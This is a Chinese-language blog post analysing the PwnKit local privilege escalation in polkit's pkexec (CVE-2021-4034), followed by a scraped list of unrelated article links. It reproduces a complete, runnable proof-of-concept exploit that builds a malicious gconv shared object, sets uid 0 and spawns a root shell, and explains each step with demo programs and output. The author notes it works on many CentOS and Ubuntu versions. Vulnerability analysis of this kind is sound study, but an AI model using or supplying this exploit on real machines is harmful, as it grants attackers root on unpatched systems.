pwnkit漏洞分析-CVE-2021-4034
研究了一下前段时间的Polkit提权漏洞,里面有很多以前不知道的技巧。漏洞很好用,通杀CENTOS、UBUNTU各版本。
主要是分析这个POC触发原理。POC如下:
/*
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}"; int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
这个POC大致思路是这样:
1、通过向execve传递环境变量参数,最终是为了改变GCONV_PATH(如何改变看分析三);
2、通过pkexec中主函数对参数的处理,由于argv和envp相邻栈空间,通过溢出修改环境变量envp;
3、借助pkexec中的g_printerr函数,以编码转换为目的,执行对应链接库.so中的函数得到执行权限(看分析一);
一、先分析几个和该漏洞相关的重点,分析GCONV_PATH环境变量在提权中的作用:
通过网上几篇php disable_functions bypass的文章,了解php的iconv函数(编码转换函数)实际是调用glibc中的函数iconv_open()。触发了iconv_open函数会执行:
1、根据GCONV_PATH环境变量,找到gconv-modules配置文件;
2、根据gconv-modules配置文件,可以找到需要转换编码对应的.so文件;
3、调用.so文件中的gconv()和gconv_init()函数;
所以只要改变GCONV_PATH的变量,然后把执行语句放入.so中的gconv_init()函数,通过编码转换函数iconv就可以得到执行。在本次提权漏洞中pkexec中调用了glibc的g_printerr函数。g_printerr函数用来输出错误信息,但是如果环境变量CHARSET不是utf-8,g_printerr()函数就会调用iconv_open(),将编码转换成CHARSET设定的编码,通过在GCONV_PATH的gconv-modules找到对应编码的.so路径,来执行编码函数实现编码。
演示一下这一部分:
调用glibc的g_printerr函数。生成可执行文件printerr_
#include <stdio.h>
#include <stdlib.h>
#include <glib.h> int main(int argc, char *argv[]) {
g_printerr("xx");
return 0;
}
在/root/pwnkit目录生成pwnkit.so
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> void gconv() {}
void gconv_init() {
printf("%s","i am so");
}
在/root/pwnkit目录生成gconv-modules
module UTF-8// PWNKIT// /root/pwnkit/pwnkit 2
修改环境变量
export GCONV_PATH=/root/pwnkit
export CHARSET=PWNKIT
执行
[root@vpanda-01 ~]# ./printerr_
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
xxi am soYou have mail in /var/spool/mail/root
可以看到printerr_在执行g_printerr函数的时候,因为环境变量的改变,成功执行了pwnkit.so中的gconv_init函数。
二、分析execve接收的参数:
阅读manpage,execve命令可以在程序中执行新的另一个程序,并带入参数和环境变量。
execve(const char *path, char *const argv[], char *const envp[]);
比较普通执行程序和通过execve执行在参数上的区别。
新建普通程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> int main(int argc, char *argv[],char *envp[]) {
printf("argc=%d\n",argc);
printf("argv[0]=%s\n",argv[0]);
printf("argv[1]=%s\n",argv[1]);
printf("argv[2]=%s\n",argv[2]);
printf("argv[3]=%s\n",argv[3]);
printf("argv[4]=%s\n",argv[4]);
int i;
for(i=0;i<7;i++){
printf("envp[%d]=%s\n",i,envp[i]);
}
printf("\n");
return 0;
}
输出结果如下:
argc=1
argv[0]=./a.out
argv[1]=(null)
argv[2]=HOSTNAME=vpanda-01
argv[3]=TERM=xterm
argv[4]=SHELL=pwnkit
envp[0]=HOSTNAME=vpanda-01
envp[1]=TERM=xterm
envp[2]=SHELL=pwnkit
envp[3]=HISTSIZE=1000
envp[4]=SSH_CLIENT=1.1.1.1 34540 22
envp[5]=OLDPWD=/root/pwnkit
envp[6]=SSH_TTY=/dev/pts/4
当不跟参数的时候,argc只有程序名本身1,环境变量在argv指针往后延可以继续读取。
使用execve调用后,这里带入参数(char*[]){NULL},以及envp环境变量
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> int main(int argc, char *argv[],char *envp[]) {
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("./a.out", (char*[]){NULL}, envp);
return 0;
}
输出结果
[root@vpanda-01 ~]# ./testrun
argc=0
argv[0]=(null)
argv[1]=HOSTNAME=vpanda-01
argv[2]=TERM=xterm
argv[3]=SHELL=pwnkit
argv[4]=HISTSIZE=1000
envp[0]=HOSTNAME=vpanda-01
envp[1]=TERM=xterm
envp[2]=SHELL=pwnkit
envp[3]=HISTSIZE=1000
envp[4]=SSH_CLIENT=1.1.1.1 34540 22
envp[5]=OLDPWD=/root/pwnkit
envp[6]=SSH_TTY=/dev/pts/4
替换为参数env后
[root@vpanda-01 ~]# ./testrun
argc=0
argv[0]=(null)
argv[1]=pwnkit
argv[2]=PATH=GCONV_PATH=.
argv[3]=CHARSET=PWNKIT
argv[4]=SHELL=pwnkit
envp[0]=pwnkit
envp[1]=PATH=GCONV_PATH=.
envp[2]=CHARSET=PWNKIT
envp[3]=SHELL=pwnkit
envp[4]=(null)
此时,由于带入参数问题,argc为0,将造成pkexec漏洞触发,见分析三。
三、分析pkexec本身:
分析源代码pkexec.c的main函数
因为execve带入,argc等于0,所以n=1以后n<argc的条件不满足
path=argv[1]=pwnkit
满足这个条件,执行g_find_program_in_path(path)
通过环境变量PATH得到绝对路径,argv[1] = GCONV_PATH=./pwnkit
因为argv[1]的指针就是enpv[0],所以在程序中环境变量的第一个变量被改变为GCONV_PATH=./pwnkit。
所以通过execve传递null参数,然后借助pkexec本身可以修改程序当前环境变量,比如在这里修改环境变量GCONV_PATH。
最后通过g_printerr函数与当前的非UTF-8环境,造成gconv_init执行,造成/bin/bash程序执行,恢复环境变量得到root shell。
pwnkit漏洞分析-CVE-2021-4034的更多相关文章
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)
不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- 看个AV也中招之cve-2010-2553漏洞分析
试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...
- CVE-2010-3971 CSS内存破坏漏洞分析
看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...
- CVE-2015-7547漏洞分析从原因到利用到补丁(非常适合小白)【转】
本文转载自:http://blog.csdn.net/u012406115/article/details/72232535 一. 漏洞概述 CVE漏洞链接:http://www.cv ...
随机推荐
- 【LeetCode】975. Odd Even Jump 解题报告(C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 动态规划 日期 题目地址:https://leetc ...
- 【LeetCode】290. Word Pattern 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...
- hdu-5587 Array(递归)
Array Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 131072/131072 K (Java/Others)Total Sub ...
- ELBO surgery: yet another way to carve up the variational evidence lower bound
目录 概 主要内容 Evidence minus posterior KL Average negative energy plus entropy Average term-by-term reco ...
- Java面向对象笔记 • 【第7章 集合】
全部章节 >>>> 本章目录 7.1 集合概述 7.1.1 Java集合体系概述 7.1.2 实践练习 7.2 List集合 7.2.1 ArrayList实现类 7.2. ...
- Linux常用命令,新手可以看看
最近在温习了一些linux的命令,这里总结一下,博主使用的系统是Ubuntu,版本如下: 由于博主是做开发的,所有linux只会一些常用的命令,跟那些专业linux大牛当前没的比,为什么Ubuntu而 ...
- Docker下安装Elasticsearch、ik分词器、kibana
1:使用docker拉取Elasticsearch镜像 docker pull elasticsearch:7.12.0(不加版本号默认是最新版本) 2:查看是否成功下载镜像 docker image ...
- 初识python 之 smtplib 发送(dolphinscheduler任务监测)邮件
需求 监测dolphinscheduler调度系统,任务执行异常情况.如有异常,则发送邮件通知. 处理思路 因DS本身自带的邮件发送功能,不能正常发送邮件. 故而,通过查询DS源数据表,获取当前任务执 ...
- Java的jar包构建成docker镜像并运行
结构如下 把jar和Dockerfile放到一个文件,不在一个文件下会报错文件找不到 创建一个构建文件 buildimage.sh vi /home/hanby/buildimage.sh echo ...
- mybatis学习笔记(三)
使用mapper接口来实现数据操作 创建UserMapper接口,添加方法,方法名要与UserMappper.xml中id所一致并且接口名要与编写sql语句的xmL文件名同名.namespace 中的 ...